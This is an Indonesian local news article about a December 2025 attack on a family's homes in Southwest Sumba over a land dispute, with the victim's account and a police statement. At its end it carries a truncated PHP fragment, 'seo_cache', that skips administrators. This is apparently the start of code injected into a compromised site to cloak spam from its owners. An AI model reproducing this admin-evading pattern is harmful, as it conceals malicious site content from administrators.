Kriminal

Menanti Polisi Panggil Pelaku Penyerangan, Keluarga Aryanto Bili Mone Harus Hidup dalam Kecemasan

×

Menanti Polisi Panggil Pelaku Penyerangan, Keluarga Aryanto Bili Mone Harus Hidup dalam Kecemasan

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Pelaku penyerangan tak kunjung dipanggil membuat keluarga Aryanto Bili Mone warga Desa Delo, Kecamatan Wewewa Selatan, SBD hidup cemas.

Hingga kini, kisah kelam di penghujung Desember 2025 itu masih terus mencekam hari-hari Aryanto bersama keluarga.

Bermula pada 29 Desember 2025, tatkala Soleman Bili Bora dan Ngongo Bora bersama rombongan berjumlah kurang lebih 30 orang melakukan penyerangan.

Kambing milik Aryanto Bili Mone yang mati ditebas para pelaku penyerangan. ( Dok. Pribadi )

“Kira-kira jam 5 sore saat mereka datang serang kami,” tuturnya, Senin (12/01/2025).

Pangkal soalnya penyerobotan lahan keluarga Aryanto oleh para pelaku yang kemudian sudah diselesaikan lewat pengadilan.

“Mereka kalah dan membuat pernyataan pada 10 November 2025 bahwa tidak akan melakukan penyerobotan lagi,” ungkap Aryanto.

Rupanya pernyataan tersebut tidak punya efek jera, karena setelah itu malah keluarga Aryanto kembali diteror hingga terjadi penyerangan dan perusakan rumah.

Sambil berteriak, ada yang dengan lantang menyebut harus bunuh orang dan tidak takut masuk penjara.

Merasa terancam, Aryanto memilih kabur dan bersembunyi di perkebunan yang agak jauh dari kintalnya.

Sementara dua kerabatnya memilih bersembunyi dalam rerimbunan nanas tak jauh rumah.

“Mereka melihat para pelaku masuk ke kintal kami,” kisah Aryanto.

Tak mendapati siapa pun di rumah, rombongan yang sudah kalap itu pun bertindak anarkis.

Potongan kayu yang kedua ujungnya dilancipkan (salah satu senjata sederhana khas Sumba) yang digunakan para pelaku saat menyerang keluarga Aryanto Bili Mone. ( Dok. Pribadi )

Tiga buah rumah dalam kintal Aryanto jadi sasaran perusakan, lumbung padi dicincang, dan seekor kambing mati terpotong.

Menanti Tindak Lanjut

Saat tengah malam diam-diam Aryanto kembali dan mendapati rumah sudah dirusak, termasuk dua rumah kerabatnya yang berdekatan.

Menggunakan pickup malam itu juga ia melapor ke Polres SBD.

“Polisi yang piket saat itu menelpon anggota Polsek Wewewa Selatan, meminta untuk mengecek TKP,” jelasnya lagi.

Laporan dari Polsek Wewewa Selatan malam itu membenarkan adanya penyerangan tersebut.

Usai diambil keterangan ia bersama keluarga kembali dan tiba di rumah sudah jam 4 pagi.

Pengaduan itu tertuang dalam surat tanda penerimaan laporan polisi dengan nomor LP/B/302/XII/SPKT/POLRES SUMBA BARAT DAYA/POLDA NUSA TENGGARA TIMUR tertanggal 30 Desember 2025.

Pihak Unit Pidum Polres SBD kemudian mengambil keterangan Aryanto dan dua orang saksi pada Kamis (01/01/2026) lalu.

“Tapi sampai saat ini para pelaku belum juga dipanggil dan masih menebar ancaman terhadap keluarga kami,” timpal Aryanto.

Dihantui Kecemasan

Ia mengaku, kesehariannya bersama keluarga kini tak lagi tenteram, penuh kecemasan dan bayang-bayang ketakutan.

Pasalnya, hampir saban hari para pelaku berkumpul dalam jumlah banyak.

“Kami jadi takut keluar rumah karena khawatir terjadi apa-apa,” keluhnya.

Enam pelaku sudah dilaporkan yakni Lukas Bili Ngongo, Jonius Ngongo, Ngongo Bora, Obi, Maksi, dan Soleman Bili Bora.

Ia dan keluarganya berharap, polisi segera memanggil para pelaku dan menindaklanjuti kasus.

“Kami sekeluarga tidak bisa lagi beraktivitas mencari hidup dengan aman,” tutupnya penuh iba.

Dikonfirmasi media ini, Selasa (13/01/2026) pagi, Kepala Seksi Humas Polres SBD, AKP Bernardus Mbili Kandi, SH menegaskan, kasus itu akan ditindaklanjuti.

“Tadi saya sudah cek anggota yang tangani, kasusnya masih dalam penyelidikan,” terangnya.

Ia menyebut, pengambilan keterangan korban dan saksi sudah dilakukan, termasuk olah tempat kejadian perkara (TKP).

“Dalam minggu ini surat panggilan dikeluarkan untuk para terlapor,” tegas Bernardus. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>